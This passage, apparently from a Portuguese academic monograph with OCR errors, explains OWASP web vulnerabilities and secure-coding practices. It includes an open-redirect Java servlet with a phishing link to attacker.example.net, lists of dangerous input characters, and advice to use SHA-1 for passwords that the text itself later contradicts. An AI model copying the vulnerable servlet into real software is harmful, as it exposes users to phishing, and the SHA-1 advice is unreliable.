
arquivo.

3.9 ARMAZENAMENTO CRIPTOGRAFICO INSEGURO

3.9.1 Caracteristicas

A maioria das aplicacbes web tém necessidade de armazenar informacoes
confidenciais, tanto em banco de dados como no sistema de arquivos. As
informacdes podem ser senhas, numeros de cartdo de crédito, cadastro de clientes
ou informacgdes proprietarias. Frequentemente, técnicas de criptografia sdo usadas
para proteger informacdes sensiveis. Embora a criptografia tenha se tornado
relativamente facil de implementar e usar, os desenvolvedores frequentemente
cometem erros ao integra-la em uma aplicagdo web. Desenvolvedores podem
superestimar a protecao obtida pelo uso de criptografia e ndo serem tdo cuidadosos
na garantia de outros aspectos de seguranga. Algumas areas onde 0s erros séo

cometidos geralmente incluem:
Falha em criptografar dados criticos.
Armazenamento inseguro de chaves, certificados e senhas.
Armazenamento inadequado dos segredos em memoria.
Fontes de aleatoriedade escassas.
Escolha inadequada do algoritmo.
Tentativa de inventar um novo algoritmo de criptografia.

A falta de suporte para as mudancas de chave de criptografia e outros

procedimentos de manutengao necessarios.

O impacto destas deficiéncias podem ser devastadoras para a seguranga de



50

uma aplicagdo. Criptografia € geralmente usada para proteger os ativos mais
sensiveis de uma aplicacdo, que pode ser totalmente comprometida por essa

vulnerabilidade.

3.9.2 Exemplo de ataque

Exemplo 1: Uma aplicagao criptografa cartdes de crédito em um banco de
dados para evitar a exposi¢cao aos usuarios finais. No entanto, o banco de dados é
definido para descriptografar automaticamente nas consultas que acessam as
colunas com o numero do cartdo de crédito, permitindo que uma falha de injecao

SQL possa recuperar todos os cartdes de crédito em formato texto.

Exemplo 2: O banco de dados de senhas usa um hash facil de decodificar
para todos os dados armazenados. Uma falha de upload de arquivo perigoso
permite que um invasor obtenha o arquivo de senha. Todos as senhas podem ser
descobertas em 4 semanas, enquanto que se o hash fosse devidamente

implementado teria levado mais de 3000 anos.

3.9.3 Estratégia de prevencao

Descobrir falhas de criptografia sem acesso ao codigo-fonte pode ser
extremamente demorado. No entanto, € possivel examinar tokens, IDs de sesséo,
cookies e outras credenciais para verificar se eles sao, obviamente, nao aleatérios.
Todas as abordagens tradicionais de “criptoanalise” podem ser usadas para tentar

descobrir como uma aplicagao web esta usando suas fungdes criptograficas.

De longe o método mais facil € fazer uma revisdo do codigo para ver como
as fungdes de criptografia sdo implementados. Uma analise cuidadosa da estrutura,
qualidade e implementacdo dos modulos de criptografia deve ser realizada. O
revisor deve ter uma sodlida experiéncia na revisdo de falhas de criptografia. A
revisdo deve abranger também como as chaves, senhas e outros segredos sao

guardados, protegidos, carregados, processados e apagados da memoria.

Outra maneira para se proteger contra falhas de criptografia € minimizar o
uso de criptografia e manter apenas a informacdo que seja absolutamente

necessaria. Por exemplo, ao invés de criptografar os numeros de cartdo de crédito e
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armazena-los, basta exigir que os usuarios reintroduzam os numeros. Além disso,
em vez de armazenar senhas criptografadas, use uma fungcdo como SHA-1 para

proteger as senhas.

Se a criptografia deve ser utilizada, escolha uma biblioteca que tenha sido
exposta a teste publico e certifique-se que ndo ha vulnerabilidades abertas.
Encapsule as fungdes de criptografia que sdo usados e analise o codigo
cuidadosamente. Certifique-se que os segredos, tais como chaves, certificados e
senhas sao armazenadas de forma segura. Para tornar mais dificil para um
atacante, os segredos podem ser divididos em pelo menos dois locais e montados
em tempo de execugdo. Esses locais podem incluir um arquivo de configuragdo, um

servidor externo, ou dentro do préprio codigo.

Nao crie algoritmos de criptografia. Somente use algoritmos aprovados
publicamente como, AES, Criptografia de chaves publicas RSA, SHA-256 ou
melhores para hash. Nao use algoritmos fracos, como MD5/SHA1, para dados que
serao armazenados em disco. Use mecanismos mais seguros como SHA- 256 ou
melhores. Crie chaves offline e armazene chaves privadas com extremo cuidado.

Nunca transmita chaves privadas em canais inseguros.

Assegure que credenciais de infraestrutura como credenciais de banco de
dados ou detalhes de filas de acessos MQ estédo corretamente seguras (por meio de
rigidos sistemas de arquivos e controles), criptografados de forma adequada e néo
podem ser descriptografados por usuarios locais ou remotos. Assegure que dados
armazenados criptografados no disco ndo sao faceis de descriptografar. Por
exemplo, criptografia de banco de dados é inutil se a conexdo de banco de dados

permite acessos nao criptografados.

3.10 FALHA AO RESTRINGIR ACESSO A URL

3.10.1 Caracteristicas

Comumente, a unica prote¢gdo para uma URL é nado mostrar o link para
usuarios nao autorizados. No entanto, um motivado, habil ou apenas um sortudo

atacante pode ser capaz de achar e acessar estas paginas, executar fungbes e
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visualizar dados. Seguranga por obscuridade nao é suficiente para proteger dados e
funcdes sensiveis em uma aplicacdo. Verificagcbes de controles de acesso devem
ser executadas antes de permitir uma solicitagdo a uma funcéo sensivel, na qual

garante que somente o usuario autorizado acesse a respectiva fungao.

O principal método de ataque para esta vulnerabilidade € chamado de
“‘navegacao forgcada” (“forced browsing”), na qual envolve técnicas de adivinhagao
de links (“guessing”) e forga bruta (“brute force”) para achar paginas desprotegidas.
E comum que aplicacdes utilizem cédigos de controle de acesso por toda a
aplicacao, resultando em um modelo complexo que dificulta a compreensao para
desenvolvedores e especialistas em seguranca. Esta complexidade torna provavel a
ocorréncia de erros e algumas paginas nao serao validadas, deixando a aplicagao

vulneravel.

Navegacao forcada € um ataque onde o objetivo € enumerar e acessar 0s
recursos que nao sao referenciados pela aplicagdo, mas ainda sédo acessiveis. Um
invasor pode usar técnicas de navegacao forcada para pesquisar conteudos
desvinculados no diretério de dominio, tais como diretérios e arquivos temporarios e
de backup antigos e os arquivos de configuragao. Estes recursos podem armazenar
informagdes sigilosas sobre aplicagbes web e sistemas operacionais, tais como
cédigo fonte, credenciais, rede interna de enderegamento, e assim por diante, sendo

assim considerado um recurso valioso para invasores.

Quando as verificagdes de controle de acesso as URLs nao sao aplicadas
de forma consistente, os usuarios sdo capazes de acessar dados ou executar agoes
que nao deveriam ser autorizados a realizar. Isso pode levar a uma ampla gama de
problemas, incluindo a exposi¢cao de informagdes, negagédo de servigo e execugao

de cddigo arbitrario.

3.10.2 Exemplo de ataque

O atacante simplesmente especifica no browser a URL de destino.
Considere que ambas as URLs apresentadas no Exemplo de Cdédigo 14
supostamente necessitam de autenticac&o. Direitos de administragcdo também sao

necessarios para o acesso a pagina "admin_getapplinfo".
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Exemplo de Cdédigo 14

http://example.com/app/getappInfo

http://example.com/app/admin getapplnfo

Se o0 atacante ndo esta autenticado e o acesso a qualquer pagina é
concedido, entdo um acesso nao autorizado foi permitido. Se um usuario
autenticado, mas nao administrador, tem permissdo para acessar a pagina
"admin_getapplnfo", esta é uma falha grave, e pode levar o atacante a explorar mais

paginas de administragao indevidamente protegidas .

3.10.3 Estratégia de prevengao

A melhor maneira de descobrir se um aplicativo restringe adequadamente o
acesso a URL é verificar cada uma delas. Considere para cada pagina, se ela
deveria ser publica ou privada. Se uma pagina deve ser privada, verifique se é
necessario a autenticagdo para acessar a pagina e se ela deve ser acessivel a

qualquer usuario autenticado.

Impedir o acesso nao autorizado a URL requer a selecdo de uma abordagem
para exigir autenticacdo adequada e autorizagdo correta para cada pagina.
Frequentemente, essa protecao é fornecida por um ou mais componentes externos
a aplicacao. Independentemente do mecanismo, é recomendado que as politicas de
autenticacao e autorizagdo sejam baseadas em fungdes, para minimizar o esforgo
necessario para manter estas politicas. As politicas também devem ser altamente
configuraveis, a fim de minimizar os aspectos de codificagdo. O mecanismo da
aplicacdo deve negar todo o acesso por padrdo, necessitando de subsidios
explicitos para os usuarios e papéis especificos para o acesso a cada pagina. Se a
pagina esta envolvida em um fluxo de trabalho, verifique se as condigbes estdo no

estado adequado para permitir o acesso.

Divida o seu software em areas como andénima, normal, privilegiada e
administrativa. ldentifique quais destas areas requerem uma identidade de usuario
comprovada, e use uma capacidade de autenticacdo centralizada. Identifique todos
os canais de comunicacdo em potencial, ou outros meios de interacdo com o

software, para garantir que todos os canais sédo protegidos de forma adequada. Os
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desenvolvedores as vezes fazem a autenticacdo no canal principal, mas abrem um
canal secundario que se presume ser privado. Por exemplo, um mecanismo de login
pode ser ouvindo em uma porta de rede, mas apos a autenticacdo bem sucedida,
pode abrir uma segunda porta, onde ele espera para a conexdo, mas evita a
autenticagdo porque assume que apenas uma conexao autenticada ira se conectar
a porta. Em geral, se o software ou protocolo permite que uma unica sessao ou
estado do usuario possa persistir em multiplas conexdes ou canais, autenticagao e
gerenciamento de credenciais adequados precisam ser utilizados em todos os

pontos.

Para as verificagcbes de seguranca que sao executadas no lado do cliente,
garanta que esses controles s&o duplicados no lado do servidor. Os atacantes
podem ignorar as verificagbes do lado do cliente, modificando os valores apés as
verificagbes serem realizadas, ou alterando o cliente para remover os controles do
lado do cliente por completo. Em seguida, estes valores modificados seriam
enviados para o servidor.

Sempre que possivel, evite a implementagdo de rotinas de autenticagao
personalizadas e considere o uso de recursos de autenticagdo, conforme previsto
pelo framework usado, sistema operacional ou o0 ambiente. Estes podem tornar mais
facil fornecer uma separagao clara entre as tarefas de autenticacédo e tarefas de
autorizagcdo. Em ambientes Web, a linha entre autenticacdo e autorizacdo as vezes
€ turva. Se rotinas de autenticacdo personalizados sdo necessarias, entdo essas
rotinas devem ser aplicadas a cada pagina, uma vez que estas paginas podem ser
solicitados diretamente.

Use uma biblioteca ou framework que nao permita que essa vulnerabilidade
possa ocorrer ou fornega construgdes que tornem essa vulnerabilidade mais facil de
evitar. Por exemplo, considere o uso de bibliotecas com recursos de autenticagao,
como OpenSSL ou o ESAPI Authenticator .
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3.11 PROTECAO INSUFICIENTE DA CAMADA DE TRANSPORTE
3.11.1 Caracteristicas

A protecao insuficiente da camada de transporte permite que a comunicagao
entre cliente e servidor seja exposta a terceiros, fornecendo uma possibilidade de
ataque que pode comprometer uma aplicagdo web e/ou roubar informacgbes
confidenciais. Sites geralmente usam Secure Sockets Layer/Transport Layer
Security (SSL/TLS) para fornecer criptografia na camada de transporte da aplicagao.
No entanto, a menos que a aplicacédo esteja configurada para usar SSL/TLS
corretamente, a aplicagdo pode ser vulneravel a interceptacdo de trafego e

modificagao.

Quando a camada de transporte ndo é criptografada, toda a comunicagao
entre a aplicacdo e o cliente é enviada em formato texto, que a deixa aberta a
interceptacéo, injecéo e redirecionamento, também conhecido como ataque man-in-
the-middle (MITM). Um atacante pode interceptar a comunicagédo de forma passiva,
dando-lhes acesso a dados sigilosos que estdo sendo transmitidos, tais como
nomes de usuarios e senhas. Um invasor pode ainda injetar/remover o conteudo da
comunicagao, permitindo que o invasor falsifique e omita informacgdes, injete scripts

maliciosos, ou redirecione o cliente para acessar um conteudo remoto n&o confiavel.

3.11.2 Exemplo de ataque

Exemplo 1: Um site simplesmente ndo usa SSL para todas as paginas que
exigem autenticagdo. O atacante simplesmente monitora o trafego de rede e
observa um cookie de uma vitima autenticada. O atacante, em seguida, repete esse

cookie e retoma a sessao do usuario.

Exemplo 2: Um certificado SSL de um site foi configurado incorretamente, o
que faz com que aparegam 0s avisos do navegador para seus usuarios. Os usuarios
tém que aceitar tais avisos e continuar, a fim de usar o site. Isso faz com que os
usuarios se acostumem com esses avisos. Um ataque de phishing contra clientes
do site os atrai para um site idéntico que nao tem um certificado valido, o que gera

um aviso similar do browser. Uma vez que as vitimas estdo acostumados a tais
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adverténcias, eles passam a usar o site de phishing, informando senhas e outros

dados privados.

3.11.3 Estratégia de prevengao

Uma decisdo de arquitetura deve ser feita para determinar o método
apropriado para proteger os dados enquanto estdo sendo transmitidos. As opgdes
mais comuns disponiveis para as corporag¢des sdo Redes Privadas Virtuais (VPN)
ou SSL/TLS, modelo comumente usado por aplicacbes web. O modelo selecionado
€ determinada pelas necessidades do negocio da organizagao. Por exemplo, uma
conexao VPN pode ser o melhor projeto para uma parceria entre duas empresas
que inclui o acesso mutuo a um servidor compartilhado em uma variedade de
protocolos. Por outro lado, um voltado para a Internet de aplicacbes web da

empresa provavelmente seria melhor servido por um modelo de SSL/TLS.

O uso de SSL para comunicagao com usuarios finais é critico, pois € muito
provavel que eles utilizem formas inseguras de acessar os aplicativos. Devido ao
protocolo HTTP incluir credenciais de autenticacdo ou um foken de sessdo para
cada pedido, toda autenticagdo do trafego deve utilizar SSL, ndo apenas as
requisicdes de login. A encriptagdo de informagdes com os servidores de back-end
também €& importante. Mesmo que estes servidores sejam naturalmente mais
seguros, as informacdes e as credenciais que eles carregam sao mais sensiveis e
mais impactantes. Portanto, usar SSL no back-end também é muito importante.
Assegure-se que as comunicagdes entre os elementos da infraestrutura, como
servidores web e sistemas de banco de dados, estdo apropriadamente protegidas
pelo uso de camadas de transporte, de segurangca ou de encriptagdo de nivel de
protocolo para credenciais e informagdes de valor intrinseco. A encriptacdo de
informacao sensivel, assim como cartdes de crédito e informagdes de previdéncia,
se tornou um regulamento financeiro e de privacidade para varias empresas.
Negligenciar o uso de SSL para o manuseio de conexdes de informagdes cria um

risco de nao conformidade.

Aplicagdes que usam a protegdo de camada de transporte (HTTPS) mas
também incluem conteudo na pagina, como Javascript ou imagens sobre HTTP,

estdo usando conteudo misto e estdo vulneraveis a ataques. Um atacante pode
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substituir o Javascript legitimo sendo enviado para o navegador por uma versao
mal-intencionada e executa-lo no contexto da pagina. Todo o conteudo em uma
pagina segura deve ser enviado através de HTTPS, incluindo as imagens em HTML,
JavaScript, CSS, XHR, e qualquer outro conteudo. Um ataque similar pode ser
usado para forgar o browser a enviar um cookie normalmente transmitido via HTTPS
para a versdo HTTP do local, expondo o cookie. Cookies devem ser definidos com a

marcacao "secure" e, se possivel, "HTTPOnly" para evitar o vazamento do cookie.

Uma pratica comum € redirecionar os usuarios que tenham solicitado uma
versao sem SSL/TLS da pagina de login para a versdo com SSL/TLS. Por exemplo,
o usuario solicita a URL http://site.com/login e ¢é redirecionado para
https://site.com/login. Esta pratica cria uma vulnerabilidade adicional. O
redirecionamento das versdes sem SSL/TLS para a versdo SSL/TLS reforga para o
usuario que a pratica de solicitar a pagina insegura € aceitavel e segura. Neste
cenario, o ataque man-in-the-middle €& usado pelo invasor para interceptar a
requisicdo sem SSL/TLS. O atacante, em seguida, injeta o HTML da pagina de login
e muda a forma do HTTP né&o criptografado. Isso permite que o invasor obtenha as

credenciais do usuario a medida que sao transmitidas.

3.12 REDIRECIONAMENTOS DE URL PARA PAGINA NAO CONFIAVEL

3.12.1 Caracteristicas

As aplicativos web frequentemente redirecionam e enviam os usuarios para
outras paginas e sites, e utilizam dados confiaveis para determinar as paginas de
destino. Sem a devida validacao, os atacantes podem redirecionar vitimas a sites de
phishing ou malware, ou usar o redirecionamento para acessar paginas nao
autorizadas. Uma aplicagdao da web que aceita uma entrada controlada pelo usuario
que especifica um Jlink para um site externo, e usa esse link em um

redirecionamento, facilitando, assim, os ataques de phishing.

O usuario também pode ser redirecionado para uma pagina n&o confiavel
que contém malware que pode comprometer, em seguida, a maquina do usuario.
Isto ira expor o usuario a riscos extensos e a interacdo do usuario com o servidor

web também pode ser comprometida.
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3.12.2 Exemplo de ataque

O Exemplo de Cddigo 15 a seguir, € um serviet Java que recebera uma
requisicdo GET com um parametro 'url' na requisi¢cado para redirecionar o navegador
para o endereco especificado. O serviet ira recuperar o valor do parametro 'url' da
requisi¢ao e enviar uma resposta para redirecionar o navegador para o enderecgo de
URL.

Exemplo de Cédigo 15

public class RedirectServlet extends HttpServlet {

protected void doGet (HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {

String query = request.getQueryString();
if (query.contains ("url")) {

String url = request.getParameter ("url");
response.sendRedirect (url) ;

O problema com este codigo € que um invasor poderia usar o
RedirectServiet como parte de um esquema de phishing para redirecionar 0s
usuarios para um site malicioso. Um invasor pode enviar um HTML formatado que
direciona o usuario para entrar em sua conta, como no Exemplo de Cddigo 16 a

seguir:

Exemplo de Cddigo 16

<a href="http://bank.example.com/redirect?

url=http://attacker.example.net">Click here to log in</a>

O usuario pode presumir que o vinculo é seguro, pois a URL comega com o
seu banco confiavel, “bank.example.com”. No entanto, o usuario sera redirecionado
ao site do invasor na web, o “attacker.example.net”, que o atacante pode ter feito
parecer muito semelhante ao “bank.example.com”. O usuario pode, entao,
inconscientemente, digitar suas credenciais na pagina web do atacante e

comprometer a sua conta bancaria. Um servlet Java nunca deve redirecionar o
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usuario para uma URL sem verificar se € um site confiavel.

3.12.3 Estratégia de prevengao

O uso seguro de redirecionamentos e encaminhamentos podem ser feitos
de diversas formas, evitando as principais falhas usadas pelos atacantes para tentar

ganhar a confianga do usuario:

. Evite o uso de redirecionamentos e encaminhamentos. Se for usado, nao

envolva parametros do usuario para o calculo do destino.

« Se os parametros que definem o destino de redirecionamento nao podem ser
evitados, assegure-se que o valor fornecido é valido e autorizado para o
usuario. Use uma lista branca de URLs aprovadas ou dominios a serem

utilizados para redirecionamento.

- Utilize os parametros de destino como um mapa de valores, ao invés da URL
real ou parte dela, deixando que o codigo do lado do servidor traduza este

mapeamento para a URL real de destino.

- Use uma pagina de aviso intermediario que fornece ao usuario uma indicagao
clara de que ele esta saindo do site. Implemente um longo tempo de espera
antes do redirecionamento, ou force o usuario a clicar em um link. Tenha

cuidado para evitar problemas de XSS ao gerar a pagina de aviso.

Analise todas as possiveis areas onde as entradas nao confiaveis podem
ser introduzidas no seu software como: paradmetros ou argumentos, cookies,
qualquer leitura a partir da rede, variaveis de ambiente, pesquisas de DNS reverso,
resultados de consulta, cabecalhos de solicitacdo, componentes de URL, e-mail,
arquivos, ficheiros, bases de dados e os sistemas externos que fornecem dados
para o aplicativo. Lembre-se que as entradas podem ser obtidas indiretamente por
meio de chamadas de API. Muitos problemas de redirecionamento ocorrem porque
o programador assume o falso principio de que alguns recursos ndo podem ser

alterados, como cookies e campos ocultos de formulario.

Examine o codigo para todos os usos de Redirect ou Forwards. Para cada
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uso, verifique se a URL de destino € fornecida por algum valor de parametro. Em
caso afirmativo, garanta que o parametro € validado para conter somente um
destino ou parte de um destino permitidos. Se o cdédigo nao estiver disponivel,
verifique todos os parametros da pagina e verifique se eles funcionam como parte

de um redirecionamento ou encaminhamento de URL e testar aqueles que o fazem.

Neste capitulo foi apresentado as principais vulnerabilidades, escolhidas com
o objetivo de cobrir o escopo das vulnerabilidades mais exploradas nas aplicagbes
Web, suas caracteristicas, exemplos de ataque e estratégias de prevencgao, as
quais os desenvolvedores poderdo utilizar como referéncia na implementacao de
cédigo que contemple os aspectos de seguranga relacionados a cada

vulnerabilidade.

Analisando as estratégias de prevengao demonstradas, pode-se concluir que
a implementacao dessas estratégias diferem significativamente da implementacéao
de cdédigo que ndo tenha preocupagdo com os aspectos de seguranga, portanto,
alterar um codigo ja implementado que ndo levou em consideragdo as
vulnerabilidades de seguranga apresentadas pode ser uma tarefa muito dispendiosa
para desenvolvedores e organizagbes. Por isso torna-se imperativo que as
vulnerabilidades sejam tratadas durante o desenvolvimento das aplicagdes, tarefa
que pode ser simplificada através da adog¢do de um conjunto de boas praticas de

programacao, tema que sera abordado no préximo capitulo.
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4 BOAS PRATICAS DE PROGRAMAGAO

Apds apresentar estudos que identificaram e classificaram as
vulnerabilidades mais exploradas em aplicagdes Web no capitulo 2, e as
caracteristicas de cada vulnerabilidade e suas respectivas estratégias de prevencéao
no capitulo 3, neste ultimo capitulo sera apresentado um conjunto de boas praticas
de programacgao que visam mitigar durante o desenvolvimento o maior numero

possivel das vulnerabilidades mais exploradas em aplicagées Web.

Geralmente € mais barato construir software seguro do que corrigir problemas
de seguranga apos a entrega do software como um produto final ou pacote
completo de software, sem falar nos custos que podem estar associados a uma
falha de seguranca. Proteger os recursos criticos de aplicagdes tem se tornado cada
vez mais importante, pois o foco dos atacantes concentra-se na camada de
aplicacdo, conforme demonstrado nos capitulos anteriores. Por isso, a melhor
estratégia para tratar as questdes de seguranga € incorporar um conjunto de boas
praticas durante o processo de desenvolvimento da aplicagdo, com o intuito de

mitigar o maior numero de vulnerabilidades possivel.

Em se tratando de boas praticas de seguranga, o (OWASP SECURE
CODING PRACTICES, 2010) € um importante guia de referéncia. Este documento
nao se baseia apenas em questdes tecnologicas e tem o propédsito de definir um
conjunto de boas praticas de seguranga na codificacdo de aplicagdes. As
recomendagdes sdo apresentadas em um formato de checklist, que podem ser
integradas ao ciclo de desenvolvimento de aplicagées. A adogdo destas praticas

com certeza ira reduzir as vulnerabilidades mais comuns em aplicagdes web.

Ao utilizar esse guia, € recomendavel que as equipes de desenvolvimento
avaliem a maturidade do ciclo de vida de desenvolvimento de software e o nivel de
conhecimento da sua equipe de desenvolvimento. Como esse guia ndao entra em
detalhes de como implementar cada pratica de codificacdo, os desenvolvedores
precisam possuir um conhecimento prévio ou ter disponivel os recursos suficientes
que fornecam o direcionamento necessario. Esse guia apresenta praticas de
codificacdo que podem ser traduzidas em requisitos de codificacdo sem a

necessidade do desenvolvedor possuir uma compreensao aprofundada das
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vulnerabilidades de seguranga. No entanto, outros membros da equipe de
desenvolvimento devem possuir responsabilidades, treinamentos adequados,
ferramentas e recursos para validar se o projeto e a implementagdo atendem os

requisitos de segurancga.

Nao faz parte do escopo do conjunto de boas praticas fornecer orientagdes
para implementar um framework de desenvolvimento seguro de software, no
entanto, as seguintes praticas gerais e referéncias sdo recomendadas as

organizagoes:

Definir claramente os papéis e responsabilidades;

- Fornecer as equipes de desenvolvimento pessoal com formag¢ao adequada

em seguranga no desenvolvimento de aplicagdes;
- Implementar um ciclo de desenvolvimento de software seguro;
- Estabelecer padrdes de codificagdo segura;
- Verificar a efetividade dos controles de segurancga;

. Construir uma biblioteca reutilizavel ou fazer uso de uma biblioteca de

seguranca;

- Estabelecer praticas para garantir a seguranga quando ha terceirizagdo no
desenvolvimento, incluindo a definicdo dos requisitos de seguranca e
metodologias de verificagdo tanto para as requisi¢des das propostas, como

para o contrato a ser firmado entre as partes.

O conjunto de boas praticas de codificagdo e suas respectivas definicoes
apresentadas a seguir, representam o conteudo integral do OWASP Secure Coding
Practices. Repare que as praticas sao classificadas em grupos de acordo com o
escopo funcional que desempenham dentro da aplicagado, onde cada grupo de boas
praticas pode mitigar uma ou mais vulnerabilidades. Além disso, mais de um grupo
de boas praticas podera se referir a uma mesma vulnerabilidade. Por fim, o conjunto

de boas praticas sio:

- Validagao de Entrada de Dados;
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Codificagao de Saida de Dados;
Autenticacdo e Gerenciamento de Senhas;
Gerenciamento de Sessao;
Controle de Acessos;

Praticas de Criptografia;
Tratamento de Erros e Log;
Protecédo de Dados;

Seguranga nas Comunicagoes;
Configuragao do Sistema;
Seguranga em Base de Dados;
Gerenciamento de Arquivos;
Gerenciamento de Memoria;
Praticas Gerais de Codificagao.

Este conjunto de boas praticas foi escolhido por cobrir integralmente o escopo
de vulnerabilidades mais exploradas em aplicagbes Web, conforme os estudos
apresentados no Capitulo 2. Além disso, as boas praticas sdo apresentadas de
forma conceitual, ndo se restringindo a uma tecnologia especifica, podendo dessa
forma serem aproveitadas pelo maior numero possivel de profissionais e

organizagoes.

4.1 CHECKLIST DE PRATICAS DE CODIFICAGAO SEGURA
4.1.1 Validagcao de Entrada de Dados

E o conjunto de controles que verificam se as propriedades de todas as
entradas de dados correspondem ao que € esperado pela aplicacdo, como tipo dos

dados, tamanho, intervalos, conjunto de caracteres aceitaveis que ndo contenham
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caracteres maliciosos. Vulnerabilidades relacionadas: Cross-site scripting (XSS),
SQL Injection, Cross-site request forgery (CSRF), Redirecionamento de URL para

Pagina ndo Confiavel.

Efetuar toda a validacdo dos dados em um sistema confiavel, por exemplo:

centralizar todo controle no servidor.

Identificar todas as fontes de dados e classificar as fontes como confiavel/ndo
confiavel. Em seguida, validar os dados provenientes de fontes nao

confiaveis (ex: banco de dados, stream de arquivos, etc).

A rotina de validacdo de dados de entrada deve ser centralizada na

aplicagao.

Especificar conjunto de caracteres apropriados, como UTF-8, para todas as

fontes de entrada de dados.

Codificar os dados para um conjunto de caracteres comuns antes da

validag&o (Canonicalize).
Quando ha falha de validagao a aplicagéo deve rejeitar os dados fornecidos.

Determinar se o sistema suporta conjuntos de caracteres estendidos UTF-8 e

em caso afirmativo, validar apos efetuar a decodificagao UTF-8.

Validar todos os dados provenientes dos clientes antes do processamento,
incluindo todos os parametros, campos de formulario, conteudos das URLs e
cabecgalhos HTTP, por exemplo: nomes e valores dos Cookies. Certificar-se
também de incluir automaticamente mecanismos de postback nos trechos de

cédigo Javascript, Flash ou qualquer outro cédigo incorporado.

Verificar os valores de cabecalho, tanto das requisi¢cdes, como das respostas,

qgue contém apenas caracteres ASCII.

Validar dados provenientes de redirecionamentos. Os atacantes podem
incluir conteudo malicioso diretamente para o alvo do mecanismo de

redirecionamento, podendo assim contornar a légica da aplicagdo e qualquer



65

validacado executada antes do redirecionamento.
Validar tipos de dados esperados.

Validar intervalo de dados.

Validar o comprimento dos dados.

Validar, sempre que possivel, todos os dados de entradas através de um
método baseado em ‘lista branca" que utiliza uma lista de caracteres ou

expressao regular que define os caracteres permitidos.

Se qualquer caractere potencialmente perigoso precisa ser permitido na
entrada de dados da aplicacdo, certifique-se que foram implementados
controles adicionais como codificagdo dos dados de saida, APIs especificas
que fornecem tarefas seguras e trilhas de auditoria no uso dos dados pela
aplicacao. A seguir, como exemplo de caracteres “potencialmente perigosos”,
temos: <,>,",", %, (, ), & +, \,\',\".

Se a rotina de validacdo padrdo nao aborda as seguintes entradas, entido
elas devem ser verificadas discretamente:

o Verificar bytes nulos (%00).
o Verificar se ha caracteres de nova linha (%0d, %0a, \r, \n).

o Verificar se ha caracteres ponto-ponto barra (../ ou ..\\) que alteram
caminhos. Nos casos de conjunto de caracteres que usam extensao UTF-
8, o sistema deve utilizar representagdes alternativas como: %c0%ae
%c0%ae/. A canonicalizagdo deve ser utilizada para resolver problemas
de codificagdo dupla (double encoding) ou outras formas de ataques por
ofuscagao.

4.1.2 Codificacao da Saida de Dados

E um conjunto de controles que abordam o uso de codificacdo para garantir
que a saida de dados gerada pela aplicacdo seja segura. Vulnerabilidades
relacionadas: Cross-site scripting (XSS), SQL Injection, Cross-site request forgery
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(CSRF), Redirecionamento de URL para Pagina ndo Confiavel.

Efetuar toda a codificacdo dos dados em um sistema confiavel, por exemplo:

centralizar todo controle no servidor.
Utilizar uma rotina padrao, testada, para cada tipo de codificagao de saida .

Realizar a codificagdo, baseada em contexto, de todos os dados retornados
para o cliente que originam-se de ambiente fora dos limites de confianga da
aplicagao. A codificagdo da entidade HTML € um exemplo, mas nem sempre

funciona para todos os casos.

Codificar todos os caracteres a menos que sejam conhecidos por serem

seguros para o interpretador de destino.

Realizar o tratamento (sanitizagdo), baseado em contexto, de todos os dados
provenientes de fontes nao confiaveis usados para construir consultas SQL,
XML, e LDAP.

Tratar todos os dados provenientes de fontes ndo confidveis que geram

comandos de sistema operacional.

4.1.3 Autenticacao e Gerenciamento de Senhas

E um conjunto de controles que sdo usados para verificar a identidade de
um usuario, ou outra entidade, que interage com o software. Vulnerabilidades

relacionadas: Falha de Autenticacdo e Gerenciamento de Sesséao.

Requerer autenticacdo para todas as paginas e recursos, exceto para
aqueles que séao intencionalmente publicos.

Os controles de autenticagdo devem ser executados em um sistema

confiavel, por exemplo: centralizar todo controle no servidor.

Estabelecer e utilizar servicos de autenticagdo padronizados e testados,

sempre que possivel.

Utilizar uma implementagcao centralizada para realizar os controles de
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autenticacao, disponibilizando bibliotecas que invocam os servicos de

autenticacao externos.

Separar a légica de autenticacdo do recurso que esta sendo requisitado e

usar redirecionadores dos controles de autenticagao centralizados.

Quando situacbes excepcionais ocorrerem nos controles de autenticagao,
executar procedimentos em caso de falha de modo a manter o sistema

seguro.

Todas as fungbes administrativas e de gerenciamento de contas devem ser
tdo seguras quanto o mecanismo de autenticacao principal.

Se a aplicagcédo gerencia um repositério de credenciais, esta devera garantir
que as senhas sejam armazenadas no banco de dados somente o
resumo/hash da senha na forma de one-way salted hashes, e que a
tabela/arquivo que armazena as senhas e as chaves sejam manipuladas
apenas pela aplicagdo. Obs.: ndo utilizar o algoritmo de hash MD5, caso seu

uso puder ser evitado.

A geracao dos resumos (hash) das senhas devem ser executadas em um

sistema confiavel, por exemplo: centralizar o controle no servidor.

Validar os dados de autenticagdo somente ao término de todas as entradas
de dados, especialmente para as implementagbes de autenticacio

sequencial.

As respostas de falhas de autenticacdo ndo devem indicar qual parte dos
dados de autenticagcdo estdo incorretos. Por exemplo: em vez de exibir
mensagens como “Nome de usuario incorreto” ou “Senha incorreta”, apenas
utilize mensagens como: “Usuario e/ou senha invalidos”, para ambos os
casos de erro. As respostas de erro devem ser literalmente idénticas nos dois

Casos.

Utilize autenticagdo para conexao a sistemas externos que envolvem trafego

de informacéao sensivel ou acesso a fungdes.
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As credenciais de autenticacdo para acessar servicos externos a aplicagao
devem ser criptografados e armazenados em um local protegido em um
sistema confiavel, por exemplo: no servidor da aplicagéo. Obs.: o cédigo fonte

nao é considerado um local seguro.
Utilizar apenas requisicbes POST para transmitir credenciais de autenticagao.

Somente trafegar senhas (n&o temporarias) através de uma conexao
criptografada (SSL/TLS) ou como dado criptografado, como no caso de envio
de e-mail criptografado. Senhas temporarias enviadas por e-mail podem ser

um caso de excecgao aceitavel.

Exigir que os requisitos de complexidade de senha estabelecidos pela politica
ou regulamento sejam cumpridos. As credenciais de autenticagédo devem ser
suficientes para resistir a ataques que tipicamente ameagcam o ambiente de
produgdo. Um exemplo pode ser a exigéncia do uso simultdneo de caracteres

alfabéticos, numérico e/ou caracteres especiais.

Exigir que os requisitos de comprimento de senha estabelecidos pela politica
ou regulamento sejam cumpridos. O uso de oito caracteres € o mais comum,
porém 16 é melhor ou entdo considere o uso de senhas que contém varias

palavras (uma frase).

A entrada de senha deve ser ocultada na tela do usuario. Em HTML, utilize o

campo tipo "password".

Desativar a conta apés um numero pré-definido de tentativas invalidas de
login (ex: cinco tentativas € o mais comum). A conta deve ser desativada por
um periodo de tempo suficiente para desencorajar a deducao das credenciais
pelo método de forca bruta, mas nem tdo longo ao ponto de permitir um

ataque de negacao de servigo.

